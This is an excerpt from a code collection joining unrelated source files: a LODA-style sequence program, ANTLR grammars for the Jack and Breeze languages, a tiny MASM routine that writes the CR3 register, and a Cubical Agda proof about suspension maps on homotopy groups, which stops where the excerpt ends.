450424976,58071538889,59729684094,61425491430,63159598860,64932651511,66745301714,68598209044,70492040360,72427469845,74405179046,76425856914,78490199844,80598911715,82752703930,84952295456,87198412864,89491790369,91833169870,94223300990,96662941116,99152855439,101693816994,104286606700,106932013400,109630833901,112383873014,115191943594,118055866580,120976471035,123954594186,126991081464,130086786544,133242571385,136459306270,139737869846,143079149164,146484039719,149953445490,153488278980,157089461256,160757921989,164494599494,168300440770,172176401540,176123446291,180142548314,184234689744,188400861600,192642063825,196959305326,201353604014,205825986844,210377489855,215009158210,219722046236,224517217464,229395744669,234358709910,239407204570,244542329396,249765194539,255076919594,260478633640,265971475280,271556592681,277235143614,283008295494,288877225420,294843120215,300907176466,307070600564,313334608744,319700427125
mov $1,$0
mov $3,$0
pow $3,2
add $1,$3
mov $2,$3
mul $3,2
mul $3,$0
add $3,2
sub $3,$2
mul $1,$3
div $1,6
|
10/antlr/JackLexer.g4 | SummerLife/building-my-computer | 10 | 1343 | <reponame>SummerLife/building-my-computer<gh_stars>1-10
lexer grammar JackLexer;
Keyword:
'class'
| 'constructor'
| 'function'
| 'method'
| 'field'
| 'static'
| 'var'
| 'int'
| 'char'
| 'boolean'
| 'void'
| 'true'
| 'false'
| 'null'
| 'this'
| 'let'
| 'do'
| 'if'
| 'else'
| 'while'
| 'return';
IntegerConstant: [0-9]+;
StringConstant: '"' .*? '"';
Symbol:
'{'
| '}'
| '('
| ')'
| '['
| ']'
| '.'
| ','
| ';'
| '+'
| '-'
| '*'
| '/'
| '&'
| '|'
| '<'
| '>'
| '='
| '~';
WS: [ \t\r\n\u000C]+ -> skip;
COMMENT: '/*' .*? '*/' -> skip;
LINE_COMMENT: '//' ~[\r\n]* -> skip;
Identifier: Letter LetterOrDigit*;
fragment LetterOrDigit: Letter | [0-9];
fragment Letter:
[a-zA-Z$_] // these are the "java letters" below 0x7F
| ~[\u0000-\u007F\uD800-\uDBFF] // covers all characters above 0x7F which are not a surrogate
| [\uD800-\uDBFF] [\uDC00-\uDFFF];
|
src/main/antlr/Breeze.g4 | scorsi/kicklang | 2 | 3729 | <filename>src/main/antlr/Breeze.g4
grammar Breeze;
WS: [ \t\u000C\r\n]+ -> skip;
COMMENT: '/*' (.)*? '*/' -> skip;
NUMBER: [0-9]+ (. [0-9]+)?;
IDENT: '@'? [a-zA-Z][a-zA-Z0-9]*;
STRING: '"' ~('"')* '"' { setText(getText().substring(1, getText().length()-1)); };
ADD: '+';
SUB: '-';
DIV: '/';
MUL: '*';
MOD: '%';
POW: '^';
EQU: '==';
SEQ: '===';
NEQ: '!=';
NSE: '!==';
LOW: '<';
LOE: '<=';
GTR: '>';
GTE: '>=';
AND: '&&';
OR: '||';
exprList: expr*;
expr
: left=expr '.' right=expr # dotAccessExpr
| left=expr '[' index=expr ']' # arrayAccessExpr
| left=expr '(' (expr (',' expr)*)? ')' # callExpr
| left=expr '=' right=expr # varDeclaration
| '[' (IDENT '=' expr (',' IDENT '=' expr)*)? ']' # mapDeclaration
| '[' (expr (',' expr)*)? ']' # arrayDeclaration
| '{' (IDENT (',' IDENT)* '->')? body=expr* '}' # functionDeclaration
| left=expr op=('*' | '/' | '%') right=expr # calcExpr
| left=expr op=('+' | '-') right=expr # calcExpr
| left=expr op=('<' | '>' | '<=' | '>=') right=expr # compExpr
| left=expr op=('==' | '!=' | '===' | '!==') right=expr # compExpr
| left=expr op=('&&' | '||') right=expr # compExpr
| '<-' expr # returnExpr
| NUMBER # numberExpr
| IDENT # identExpr
| STRING # stringExpr
| '(' expr ')' # parenExpr
;
|
libpal/intel_64bit_ms64_masm/write_cr3.asm | mars-research/pal | 26 | 177203 | <reponame>mars-research/pal<filename>libpal/intel_64bit_ms64_masm/write_cr3.asm
.code
pal_execute_write_cr3 proc
mov cr3, rcx;
ret;
pal_execute_write_cr3 endp
end
|
Cubical/Homotopy/Group/SuspensionMap.agda | thomas-lamiaux/cubical | 0 | 12902 | <reponame>thomas-lamiaux/cubical
{-# OPTIONS --safe --experimental-lossy-unification #-}
module Cubical.Homotopy.Group.SuspensionMap where
open import Cubical.Homotopy.Group.Base
open import Cubical.Homotopy.Loopspace
open import Cubical.Homotopy.Freudenthal
open import Cubical.Homotopy.Connected
open import Cubical.Foundations.Prelude
open import Cubical.Foundations.Pointed
open import Cubical.Foundations.Pointed.Homogeneous
open import Cubical.Foundations.HLevels
open import Cubical.Foundations.GroupoidLaws renaming (assoc to ∙assoc)
open import Cubical.Foundations.Isomorphism
open import Cubical.Foundations.Function
open import Cubical.Foundations.Path
open import Cubical.Foundations.Equiv
open import Cubical.Foundations.Transport
open import Cubical.Functions.Morphism
open import Cubical.HITs.Sn
open import Cubical.HITs.Susp renaming (toSusp to σ ; toSuspPointed to σ∙)
open import Cubical.HITs.S1
open import Cubical.Data.Bool hiding (_≟_)
open import Cubical.Data.Sigma
open import Cubical.Data.Nat
open import Cubical.Data.Nat.Order
open import Cubical.Algebra.Group
open import Cubical.Algebra.Group.Morphisms
open import Cubical.Algebra.Group.MorphismProperties
open import Cubical.Algebra.Semigroup
open import Cubical.Algebra.Monoid
open import Cubical.HITs.PropositionalTruncation
renaming (rec to pRec ; rec2 to pRec2 ; elim to pElim)
open import Cubical.HITs.SetTruncation
renaming (rec to sRec ; rec2 to sRec2 ; elim to sElim
; elim2 to sElim2 ; elim3 to sElim3 ; map to sMap)
open import Cubical.HITs.Truncation
renaming (rec to trRec)
open Iso
open IsGroup
open IsSemigroup
open IsMonoid
open GroupStr
{-
This file concerns the suspension maps
suspMapΩ : πₙA → πₙ₊₁ΣA and
suspMap : π'ₙA → π'ₙ₊₁ΣA
For instance, we want to transport freudenthal
for suspMapΩ to suspMap by establishing a dependent
path between the two functions.
This gives, in particular, surjectivity of
πₙ₊₁(Sⁿ) → πₙ₊₂(Sⁿ⁺¹) for n ≥ 2.
-}
-- Definition of the suspension functions
suspMap : ∀ {ℓ} {A : Pointed ℓ}(n : ℕ)
→ S₊∙ (suc n) →∙ A
→ S₊∙ (suc (suc n)) →∙ Susp∙ (typ A)
fst (suspMap n f) north = north
fst (suspMap n f) south = north
fst (suspMap {A = A} n f) (merid a i) =
(merid (fst f a) ∙ sym (merid (pt A))) i
snd (suspMap n f) = refl
suspMapΩ∙ : ∀ {ℓ} {A : Pointed ℓ} (n : ℕ)
→ ((Ω^ n) A)
→∙ ((Ω^ (suc n)) (Susp∙ (typ A)))
fst (suspMapΩ∙ {A = A} zero) a = merid a ∙ sym (merid (pt A))
snd (suspMapΩ∙ {A = A} zero) = rCancel (merid (pt A))
suspMapΩ∙ {A = A} (suc n) = Ω→ (suspMapΩ∙ {A = A} n)
suspMapΩ : ∀ {ℓ} {A : Pointed ℓ} (n : ℕ)
→ typ ((Ω^ n) A) → typ ((Ω^ (suc n)) (Susp∙ (typ A)))
suspMapΩ {A = A} n = suspMapΩ∙ {A = A} n .fst
suspMapπ' : ∀ {ℓ} (n : ℕ) {A : Pointed ℓ}
→ π' (suc n) A
→ π' (suc (suc n)) (Susp∙ (typ A))
suspMapπ' n = sMap (suspMap n)
suspMapπ : ∀ {ℓ} {A : Pointed ℓ} (n : ℕ)
→ π n A → π (suc n) (Susp∙ (typ A))
suspMapπ n = sMap (suspMapΩ n)
{- suspMapΩ
Ωⁿ A --------------------> Ω¹⁺ⁿ (Susp A)
| |
| = | ≃ flipΩ
| Ωⁿ→ σ v
Ωⁿ A -------------------> Ωⁿ (Ω (Susp A))
| |
| |
| ≃ Ω→SphereMap | ≃ Ω→SphereMap
| |
v post∘∙ . σ v
(Sⁿ →∙ A) -------------- > (Sⁿ →∙ Ω (Susp A))
| |
| = | ≃ botᵣ
| |
v suspMap v
(Sⁿ →∙ A) -------------- > (Sⁿ⁺¹→∙ Susp A)
-}
botᵣ : ∀ {ℓ} {A : Pointed ℓ} (n : ℕ)
→ (S₊∙ n →∙ Ω (Susp∙ (typ A)))
→ S₊∙ (suc n) →∙ Susp∙ (typ A)
fst (botᵣ zero (f , p)) base = north
fst (botᵣ zero (f , p)) (loop i) = f false i
snd (botᵣ zero (f , p)) = refl
fst (botᵣ (suc n) (f , p)) north = north
fst (botᵣ (suc n) (f , p)) south = north
fst (botᵣ (suc n) (f , p)) (merid a i) = f a i
snd (botᵣ (suc n) (f , p)) = refl
----- Top square filler -----
top□ : ∀ {ℓ} {A : Pointed ℓ} (n : ℕ)
→ Ω^→ (suc n) (σ∙ A)
≡ (((Iso.fun (flipΩIso (suc n))) , flipΩrefl n)
∘∙ suspMapΩ∙ (suc n))
top□ {A = A} zero =
→∙Homogeneous≡ (isHomogeneousPath _ _)
(funExt λ p → sym (transportRefl _))
top□ {A = A} (suc n) =
cong Ω→ (top□ {A = A} n)
∙ →∙Homogeneous≡
(isHomogeneousPath _ _)
(funExt λ x
→ Ω→∘ (fun (flipΩIso (suc n)) , flipΩrefl n) (suspMapΩ∙ (suc n)) x)
----- Middle square filler -----
module _ {ℓ ℓ'} (A : Pointed ℓ) (B : Pointed ℓ')
(homogB : isHomogeneous B) (f : A →∙ B) where
nat = isNaturalΩSphereMap A B homogB f
mutual
isNatural-Ω→SphereMap : ∀ n p → f ∘∙ Ω→SphereMap n p
≡ Ω→SphereMap n (Ω^→ n f .fst p)
isNatural-Ω→SphereMap 0 p =
→∙Homogeneous≡ homogB (funExt λ {true → f .snd; false → refl})
isNatural-Ω→SphereMap (n@(suc n')) p =
cong (f ∘∙_) (Ω→SphereMap-split n' p)
∙ nat n' (Ω→SphereMapSplit₁ n' p)
∙ cong (ΩSphereMap n') inner
∙ sym (Ω→SphereMap-split n' (Ω^→ n f .fst p))
where
inner : Ω→ (post∘∙ (S₊∙ n') f) .fst (Ω→ (Ω→SphereMap∙ n') .fst p)
≡ Ω→ (Ω→SphereMap∙ n') .fst (Ω^→ (suc n') f .fst p)
inner =
sym (Ω→∘ (post∘∙ (S₊∙ n') f) (Ω→SphereMap∙ n') p)
∙ cong (λ g∙ → Ω→ g∙ .fst p) (isNatural-Ω→SphereMap∙ n')
∙ Ω→∘ (Ω→SphereMap∙ n') (Ω^→ n' f) p
isNatural-Ω→SphereMap∙ : ∀ n
→ post∘∙ (S₊∙ n) f ∘∙ (Ω→SphereMap∙ n)
≡ (Ω→SphereMap∙ n {A = B} ∘∙ Ω^→ n f)
isNatural-Ω→SphereMap∙ n =
→∙Homogeneous≡ (isHomogeneous→∙ homogB)
(funExt (isNatural-Ω→SphereMap n))
mid□ : ∀ {ℓ} {A : Pointed ℓ} (n : ℕ)
→ (p : typ ((Ω^ (suc n)) A))
→ fst (post∘∙ (S₊∙ (suc n)) (σ∙ A)) (Ω→SphereMap (suc n) p)
≡ Ω→SphereMap (suc n) (fst (Ω^→ (suc n) (σ∙ A)) p)
mid□ {A = A} n p =
funExt⁻
(cong fst
(isNatural-Ω→SphereMap∙
A (Ω (Susp∙ (typ A)))
(isHomogeneousPath _ _)
(σ∙ A) (suc n))) p
----- Bottom square filler -----
bot□ : ∀ {ℓ} {A : Pointed ℓ} (n : ℕ) (f : (S₊∙ (suc n) →∙ A))
→ suspMap n f
≡ botᵣ {A = A} (suc n) (post∘∙ (S₊∙ (suc n)) (σ∙ A) .fst f)
bot□ {A = A} n f =
ΣPathP ((funExt (λ { north → refl
; south → refl
; (merid a i) → refl}))
, refl)
-- We prove that botᵣ is an equivalence
botᵣ⁻' : ∀ {ℓ} {A : Pointed ℓ} (n : ℕ)
→ S₊∙ (suc n) →∙ Susp∙ (typ A) → (S₊ n → typ (Ω (Susp∙ (typ A))))
botᵣ⁻' zero f false =
sym (snd f) ∙∙ cong (fst f) loop ∙∙ snd f
botᵣ⁻' zero f true = refl
botᵣ⁻' (suc n) f x =
sym (snd f)
∙∙ cong (fst f) (merid x ∙ sym (merid (ptSn (suc n))))
∙∙ snd f
botᵣ⁻ : ∀ {ℓ} {A : Pointed ℓ} (n : ℕ)
→ S₊∙ (suc n) →∙ Susp∙ (typ A)
→ (S₊∙ n →∙ Ω (Susp∙ (typ A)))
fst (botᵣ⁻ {A = A} n f) = botᵣ⁻' {A = A} n f
snd (botᵣ⁻ {A = A} zero f) = refl
snd (botᵣ⁻ {A = A} (suc n) f) =
cong (sym (snd f) ∙∙_∙∙ snd f)
(cong (cong (fst f)) (rCancel (merid (ptSn _))))
∙ ∙∙lCancel (snd f)
botᵣIso : ∀ {ℓ} {A : Pointed ℓ} (n : ℕ)
→ Iso (S₊∙ n →∙ Ω (Susp∙ (typ A)))
(S₊∙ (suc n) →∙ Susp∙ (typ A))
botᵣIso {A = A} n = (iso (botᵣ {A = A} n) (botᵣ⁻ {A = A} n) (h n) (retr n))
where
h : (n : ℕ) → section (botᵣ {A = A} n) (botᵣ⁻ {A = A} n)
h zero (f , p) =
ΣPathP (funExt (λ { base → sym p
; (loop i) j → doubleCompPath-filler
(sym p) (cong f loop) p (~ j) i})
, λ i j → p (~ i ∨ j))
h (suc n) (f , p) =
ΣPathP (funExt (λ { north → sym p
; south → sym p ∙ cong f (merid (ptSn _))
; (merid a i) j
→ hcomp (λ k
→ λ { (i = i0) → p (~ j ∧ k)
; (i = i1) → compPath-filler'
(sym p) (cong f (merid (ptSn _))) k j
; (j = i1) → f (merid a i)})
(f (compPath-filler
(merid a) (sym (merid (ptSn _))) (~ j) i))})
, λ i j → p (~ i ∨ j))
retr : (n : ℕ) → retract (botᵣ {A = A} n) (botᵣ⁻ {A = A} n)
retr zero (f , p) =
ΣPathP ((funExt (λ { false → sym (rUnit _) ; true → sym p}))
, λ i j → p (~ i ∨ j))
retr (suc n) (f , p) =
→∙Homogeneous≡ (isHomogeneousPath _ _)
(funExt λ x → (λ i
→ rUnit (cong-∙ (fst ((botᵣ {A = A}(suc n) (f , p))))
(merid x)
(sym (merid (ptSn (suc n)))) i) (~ i))
∙∙ (λ i → f x ∙ sym (p i) )
∙∙ sym (rUnit (f x)))
-- Right hand composite iso
IsoΩSphereMapᵣ : ∀ {ℓ} {A : Pointed ℓ} (n : ℕ)
→ Iso (typ ((Ω^ (suc n)) (Susp∙ (typ A)))) ((S₊∙ (suc n) →∙ Susp∙ (typ A)))
IsoΩSphereMapᵣ {A = A} n =
compIso (flipΩIso n)
(compIso (IsoΩSphereMap n) (botᵣIso {A = A} n))
-- The dependent path between the two suspension functions
suspMapPathP : ∀ {ℓ} (A : Pointed ℓ) (n : ℕ)
→ (typ ((Ω^ (suc n)) A) → (typ ((Ω^ (suc (suc n))) (Susp∙ (typ A)))))
≡ ((S₊∙ (suc n) →∙ A) → S₊∙ (suc (suc n)) →∙ (Susp∙ (typ A)))
suspMapPathP A n i =
isoToPath (IsoΩSphereMap {A = A} (suc n)) i
→ isoToPath (IsoΩSphereMapᵣ {A = A} (suc n)) i
Ωσ→suspMap : ∀ {ℓ} {A : Pointed ℓ} (n : ℕ)
→ PathP (λ i → suspMapPathP A n i)
(suspMapΩ (suc n))
(suspMap n)
Ωσ→suspMap {A = A} n =
toPathP (funExt (λ p →
(λ i → transportRefl
(Iso.fun (IsoΩSphereMapᵣ {A = A} (suc n))
(suspMapΩ {A = A} (suc n)
(Iso.inv (IsoΩSphereMap {A = A} (suc n))
(transportRefl p i)))) i)
∙∙ cong (botᵣ {A = A} (suc n))
(cong (Ω→SphereMap (suc n) {A = Ω (Susp∙ (typ A)) })
((sym (funExt⁻ (cong fst (top□ {A = A} n))
(invEq (Ω→SphereMap (suc n)
, isEquiv-Ω→SphereMap (suc n)) p))))
∙ (sym (mid□ n (invEq (Ω→SphereMap (suc n)
, isEquiv-Ω→SphereMap (suc n)) p))
∙ cong (σ∙ (fst A , snd A) ∘∙_)
(secEq (Ω→SphereMap (suc n)
, isEquiv-Ω→SphereMap (suc n)) p)))
∙∙ sym (bot□ n p)))
-- Connectedness of suspFunΩ (Freudenthal)
suspMapΩ-connected : ∀ {ℓ} (n : HLevel) (m : ℕ) {A : Pointed ℓ}
(connA : isConnected (suc (suc n)) (typ A))
→ isConnectedFun ((suc n + suc n) ∸ m) (suspMapΩ {A = A} m)
suspMapΩ-connected n zero {A = A} connA = isConnectedσ n connA
suspMapΩ-connected n (suc m) {A = A} connA with ((n + suc n) ≟ m)
... | (lt p) = subst (λ x → isConnectedFun x (suspMapΩ {A = A} (suc m)))
(sym (n∸m≡0 _ m (<-weaken p)))
λ b → tt* , (λ {tt* → refl})
... | (eq q) = subst (λ x → isConnectedFun x (suspMapΩ {A = A} (suc m)))
(sym (n∸n≡0 m) ∙ cong (_∸ m) (sym q))
λ b → tt* , (λ {tt* → refl})
... | (gt p) = isConnectedCong' (n + suc n ∸ m) (suspMapΩ {A = A} m)
(subst (λ x → isConnectedFun x (suspMapΩ {A = A} m))
(sym (suc∸-fst (n + suc n) m p))
(suspMapΩ-connected n m connA))
(snd (suspMapΩ∙ m))
-- We prove that the right iso is structure preserving
private
invComp : ∀ {ℓ} {A : Pointed ℓ} (n : ℕ)
→ S₊∙ n →∙ Ω (Susp∙ (typ A))
→ S₊∙ n →∙ Ω (Susp∙ (typ A))
→ S₊∙ n →∙ Ω (Susp∙ (typ A))
fst (invComp n f g) x = (fst f x) ∙ (fst g x)
snd (invComp n f g) = cong₂ _∙_ (snd f) (snd g) ∙ sym (rUnit refl)
-- We prove that it agrees with ∙Π
∙Π≡invComp : ∀ {ℓ} {A : Pointed ℓ} (n : ℕ)
→ (f g : S₊∙ (suc n) →∙ Ω (Susp∙ (typ A)))
→ ∙Π f g ≡ invComp {A = A} (suc n) f g
∙Π≡invComp zero f g =
→∙Homogeneous≡ (isHomogeneousPath _ _)
(funExt (λ { base → rUnit refl
∙ sym (cong (_∙ fst g (snd (S₊∙ 1))) (snd f)
∙ cong (refl ∙_) (snd g))
; (loop i) j →
hcomp (λ k →
λ { (i = i0) → (rUnit refl
∙ sym (cong (_∙ fst g (snd (S₊∙ 1))) (snd f)
∙ cong (refl ∙_) (snd g))) j
; (i = i1) → (rUnit refl
∙ sym (cong (_∙ fst g (snd (S₊∙ 1))) (snd f)
∙ cong (refl ∙_) (snd g))) j
; (j = i0) → ((sym (snd f) ∙∙ cong (fst f) loop ∙∙ snd f)
∙ (sym (snd g) ∙∙ cong (fst g) loop ∙∙ snd g)) i
; (j = i1) → cong₂Funct _∙_
(cong (fst f) loop) (cong (fst g) loop) (~ k) i})
(hcomp (λ k →
λ { (i = i0) → (rUnit refl
∙ sym (cong (_∙ snd g (~ k)) (λ j → snd f (j ∨ ~ k))
∙ cong (refl ∙_) (λ j → snd g (j ∨ ~ k)))) j
; (i = i1) → (rUnit refl
∙ sym (cong (_∙ snd g (~ k)) (λ j → snd f (j ∨ ~ k))
∙ cong (refl ∙_) (λ j → snd g (j ∨ ~ k)))) j
; (j = i0) → ((sym (snd f) ∙∙ cong (fst f) loop ∙∙ snd f)
∙ (sym (snd g) ∙∙ cong (fst g) loop ∙∙ snd g)) i
; (j = i1) → (cong (_∙ snd g (~ k))
(doubleCompPath-filler (sym (snd f))
(cong (fst f) loop)
(snd f) (~ k)) ∙
cong ((snd f (~ k)) ∙_)
(doubleCompPath-filler (sym (snd g))
(cong (fst g) loop) (snd g) (~ k))) i})
(hcomp (λ k →
λ { (i = i0) → (rUnit (rUnit refl)
∙ cong (rUnit refl ∙_) (cong sym (rUnit refl))) k j
; (i = i1) → (rUnit (rUnit refl)
∙ cong (rUnit refl ∙_) (cong sym (rUnit refl))) k j
; (j = i0) → ((sym (snd f) ∙∙ cong (fst f) loop ∙∙ snd f)
∙ (sym (snd g) ∙∙ cong (fst g) loop ∙∙ snd g)) i
; (j = i1) → (cong (_∙ refl)
((sym (snd f) ∙∙ cong (fst f) loop ∙∙ snd f))
∙ cong (refl ∙_)
(sym (snd g) ∙∙ cong (fst g) loop ∙∙ snd g)) i})
((cong (λ x → rUnit x j)
(sym (snd f) ∙∙ cong (fst f) loop ∙∙ snd f)
∙ cong (λ x → lUnit x j)
(sym (snd g) ∙∙ cong (fst g) loop ∙∙ snd g)) i)))}))
∙Π≡invComp {A = A} (suc n) f g =
→∙Homogeneous≡ (isHomogeneousPath _ _)
(funExt λ { north → rUnit refl
∙ sym (cong (fst f north ∙_) (snd g)
∙ cong (_∙ refl) (snd f))
; south → rUnit refl
∙ sym (cong₂ _∙_
(cong (fst f) (sym (merid (ptSn _))) ∙ snd f)
(cong (fst g) (sym (merid (ptSn _))) ∙ snd g))
; (merid a i) j → p a i j})
where
module _ (a : S₊ (suc n)) where
f-n = fst f north
g-n = fst g north
cong-f = (cong (fst f) (merid a ∙ sym (merid (ptSn _))))
cong-g = (cong (fst g) (merid a ∙ sym (merid (ptSn _))))
c-f = sym (snd f) ∙∙ cong-f ∙∙ snd f
c-g = sym (snd g) ∙∙ cong-g ∙∙ snd g
p : I → I → fst (Ω (Susp∙ (typ A)))
p i j =
hcomp (λ k →
λ { (i = i0) → (rUnit (λ _ → snd (Susp∙ (typ A)))
∙ sym ((cong (fst f north ∙_) (snd g)
∙ cong (_∙ refl) (snd f)))) j
; (i = i1) → (rUnit refl
∙ sym (cong₂ _∙_
(compPath-filler'
(cong (fst f) (sym (merid (ptSn _)))) (snd f) k)
(compPath-filler'
(cong (fst g) (sym (merid (ptSn _)))) (snd g) k))) j
; (j = i0) → (c-f ∙ c-g) i
; (j = i1) → fst f (compPath-filler
(merid a)
(sym (merid (ptSn _))) (~ k) i)
∙ fst g (compPath-filler
(merid a)
(sym (merid (ptSn _))) (~ k) i)})
(hcomp (λ k →
λ {(i = i0) → (rUnit (λ _ → snd (Susp∙ (typ A)))
∙ sym ((cong (fst f north ∙_) (snd g)
∙ cong (_∙ refl) (snd f)))) j
; (i = i1) → (rUnit refl ∙ sym (cong₂ _∙_ (snd f) (snd g))) j
; (j = i0) → (c-f ∙ c-g) i
; (j = i1) → cong₂Funct _∙_ cong-f cong-g (~ k) i})
(hcomp (λ k →
λ {(i = i0) → (rUnit refl
∙ sym (compPath-filler'
((cong (fst f north ∙_) (snd g)))
(cong (_∙ refl) (snd f)) k)) j
; (i = i1) → (rUnit refl
∙ sym (cong₂ _∙_ (λ i → snd f (i ∨ ~ k)) (snd g))) j
; (j = i0) → (c-f ∙ c-g) i
; (j = i1) → (cong (λ x → x ∙ snd g (~ k))
(doubleCompPath-filler refl
cong-f (snd f) (~ k))
∙ cong ((snd f (~ k)) ∙_)
(doubleCompPath-filler
(sym (snd g)) cong-g refl (~ k))) i})
(hcomp (λ k →
λ {(i = i0) → compPath-filler
(rUnit (λ _ → snd (Susp∙ (typ A))))
(sym ((cong (_∙ refl) (snd f)))) k j
; (i = i1) → compPath-filler
(rUnit refl)
(sym (cong (refl ∙_) (snd g))) k j
; (j = i0) → (c-f ∙ c-g) i
; (j = i1) → (cong (_∙ refl)
((λ j → snd f (~ j ∧ ~ k)) ∙∙ cong-f ∙∙ snd f)
∙ cong (refl ∙_)
(sym (snd g) ∙∙ cong-g ∙∙ (λ j → snd g (j ∧ ~ k)))) i})
(((cong (λ x → rUnit x j) c-f) ∙ (cong (λ x → lUnit x j) c-g)) i))))
hom-botᵣ⁻ : ∀ {ℓ} {A : Pointed ℓ} (n : ℕ)
→ (f g : S₊∙ (suc n) →∙ Susp∙ (typ A))
→ botᵣ⁻ {A = A} n (∙Π f g)
≡ invComp {A = A} n (botᵣ⁻ {A = A} n f) (botᵣ⁻ {A = A} n g)
hom-botᵣ⁻ zero f g =
ΣPathP ((funExt (λ { false → sym (rUnit _)
; true → (rUnit _)}))
, ((λ i j → rUnit refl (i ∧ ~ j))
▷ lUnit (sym (rUnit refl))))
hom-botᵣ⁻ (suc n) f g =
→∙Homogeneous≡ (isHomogeneousPath _ _)
(funExt (λ x → (sym (rUnit (cong (fst (∙Π f g)) (merid x ∙ sym (merid (ptSn _))))))
∙∙ cong-∙ (fst (∙Π f g)) (merid x) (sym (merid (ptSn _)))
∙∙ cong (cong (fst (∙Π f g)) (merid x) ∙_) (cong sym lem)
∙ sym (rUnit (cong (fst (∙Π f g)) (merid x)))))
where
lem : cong (fst (∙Π f g)) (merid (ptSn (suc n))) ≡ refl
lem = (λ i → (sym (snd f) ∙∙ cong (fst f) (rCancel (merid (ptSn _)) i) ∙∙ snd f)
∙ (sym (snd g) ∙∙ cong (fst g) (rCancel (merid (ptSn _)) i) ∙∙ snd g))
∙ (λ i → ∙∙lCancel (snd f) i ∙ ∙∙lCancel (snd g) i)
∙ sym (rUnit refl)
-- We get that botᵣ⁻ (and hence botᵣ) is homomorphism
hom-botᵣ⁻' : ∀ {ℓ} {A : Pointed ℓ} (n : ℕ)
→ (f g : S₊∙ (suc (suc n)) →∙ Susp∙ (typ A))
→ botᵣ⁻ {A = A} (suc n) (∙Π f g)
≡ ∙Π (botᵣ⁻ {A = A} (suc n) f) (botᵣ⁻ {A = A} (suc n) g)
hom-botᵣ⁻' {A = A} n f g =
hom-botᵣ⁻ {A = A} (suc n) f g
∙ sym (∙Π≡invComp {A = A} _ (botᵣ⁻ {A = A} _ f) (botᵣ⁻ {A = A} _ g))
hom-botᵣ : ∀ {ℓ} {A : Pointed ℓ} (n : ℕ)
→ (f g : S₊∙ (suc n) →∙ Ω (Susp∙ (typ A)))
→ botᵣ {A = A} (suc n) (∙Π f g)
≡ ∙Π (botᵣ {A = A} (suc n) f) (botᵣ {A = A} (suc n) g)
hom-botᵣ {A = A} n f g =
morphLemmas.isMorphInv ∙Π ∙Π (botᵣ⁻ {A = A} (suc n))
(hom-botᵣ⁻' {A = A} n)
(botᵣ {A = A} (suc n))
(leftInv (botᵣIso {A = A} (suc n)))
(rightInv (botᵣIso {A = A} (suc n)))
f g
isHom-IsoΩSphereMapᵣ : ∀ {ℓ} {A : Pointed ℓ} (n : ℕ)
(p q : typ ((Ω^ (2 + n)) (Susp∙ (typ A))))
→ Iso.fun (IsoΩSphereMapᵣ (suc n)) (p ∙ q)
≡ ∙Π (Iso.fun (IsoΩSphereMapᵣ (suc n)) p)
(Iso.fun (IsoΩSphereMapᵣ (suc n)) q)
isHom-IsoΩSphereMapᵣ {A = A} n p q =
cong (botᵣ {A = A} (suc n))
(cong (Ω→SphereMap (suc n) {A = Ω (Susp∙ (typ A))})
(flipΩIsopres· n p q)
∙ isHom-Ω→SphereMap n (fun (flipΩIso (suc n)) p)
(fun (flipΩIso (suc n)) q))
∙ hom-botᵣ n _ _
suspMapΩ→hom : ∀ {ℓ} {A : Pointed ℓ} (n : ℕ) (p q : typ ((Ω^ (suc n)) A))
→ suspMapΩ (suc n) (p ∙ q)
≡ suspMapΩ (suc n) p ∙ suspMapΩ (suc n) q
suspMapΩ→hom {A = A} n p q =
cong (sym (snd (suspMapΩ∙ {A = A} n)) ∙∙_∙∙ snd (suspMapΩ∙ {A = A} n))
(cong-∙ (fst (suspMapΩ∙ {A = A} n)) p q)
∙ help (snd (suspMapΩ∙ {A = A} n)) _ _
where
help : ∀ {ℓ} {A : Type ℓ} {x y : A} (p : x ≡ y) (q s : x ≡ x)
→ sym p ∙∙ (q ∙ s) ∙∙ p
≡ (sym p ∙∙ q ∙∙ p) ∙ (sym p ∙∙ s ∙∙ p)
help {x = x} =
J (λ y p → (q s : x ≡ x)
→ sym p ∙∙ (q ∙ s) ∙∙ p
≡ (sym p ∙∙ q ∙∙ p ) ∙ (sym p ∙∙ s ∙∙ p))
λ q s → sym (rUnit (q ∙ s))
∙ cong₂ _∙_ (rUnit q) (rUnit s)
private
transportLem : ∀ {ℓ} {A B : Type ℓ}
(_+A_ : A → A → A) (_+B_ : B → B → B)
→ (e : Iso A B)
→ ((x y : A) → fun e (x +A y) ≡ fun e x +B fun e y)
→ PathP (λ i → isoToPath e i → isoToPath e i → isoToPath e i)
_+A_ _+B_
transportLem _+A_ _+B_ e hom =
toPathP (funExt (λ p → funExt λ q →
(λ i → transportRefl
(fun e (inv e (transportRefl p i)
+A inv e (transportRefl q i))) i)
∙∙ hom (inv e p) (inv e q)
∙∙ cong₂ _+B_ (rightInv e p) (rightInv e q)))
pₗ : ∀ {ℓ} (A : Pointed ℓ) (n : ℕ)
→ typ (Ω ((Ω^ n) A)) ≡ (S₊∙ (suc n) →∙ A)
pₗ A n = isoToPath (IsoΩSphereMap {A = A} (suc n))
pᵣ : ∀ {ℓ} (A : Pointed ℓ) (n : ℕ)
→ typ ((Ω^ (2 + n)) (Susp∙ (typ A)))
≡ (S₊∙ (suc (suc n)) →∙ Susp∙ (typ A))
pᵣ A n = isoToPath (IsoΩSphereMapᵣ {A = A} (suc n))
∙Π→∙ : ∀ {ℓ} {A : Pointed ℓ} (n : ℕ)
→ PathP (λ i → pₗ A n i → pₗ A n i → pₗ A n i) _∙_ ∙Π
∙Π→∙ {A = A} n =
transportLem _∙_ ∙Π (IsoΩSphereMap {A = A} (suc n)) (isHom-Ω→SphereMap n)
∙Π→∙ᵣ : ∀ {ℓ} {A : Pointed ℓ} (n : ℕ)
→ PathP (λ i → pᵣ A n i → pᵣ A n i → pᵣ A n i) _∙_ ∙Π
∙Π→∙ᵣ {A = A} n =
transportLem _∙_ ∙Π (IsoΩSphereMapᵣ {A = A} (suc n)) (isHom-IsoΩSphereMapᵣ n)
isHom-suspMap : ∀ {ℓ} {A : Pointed ℓ} (n : ℕ) (f g : S₊∙ (suc n) →∙ A)
→ suspMap n (∙Π f g)
≡ ∙Π (suspMap n f) (suspMap n g)
isHom-suspMap {A = A} n =
transport (λ i → (f g : isoToPath (IsoΩSphereMap {A = A} (suc n)) i)
→ Ωσ→suspMap n i (∙Π→∙ n i f g)
≡ ∙Π→∙ᵣ n i (Ωσ→suspMap n i f) (Ωσ→suspMap n i g))
(suspMapΩ→hom n)
suspMapπHom : ∀ {ℓ} {A : Pointed ℓ} (n : ℕ)
→ GroupHom (πGr n A) (πGr (suc n) (Susp∙ (typ A)))
fst (suspMapπHom {A = A} n) = suspMapπ (suc n)
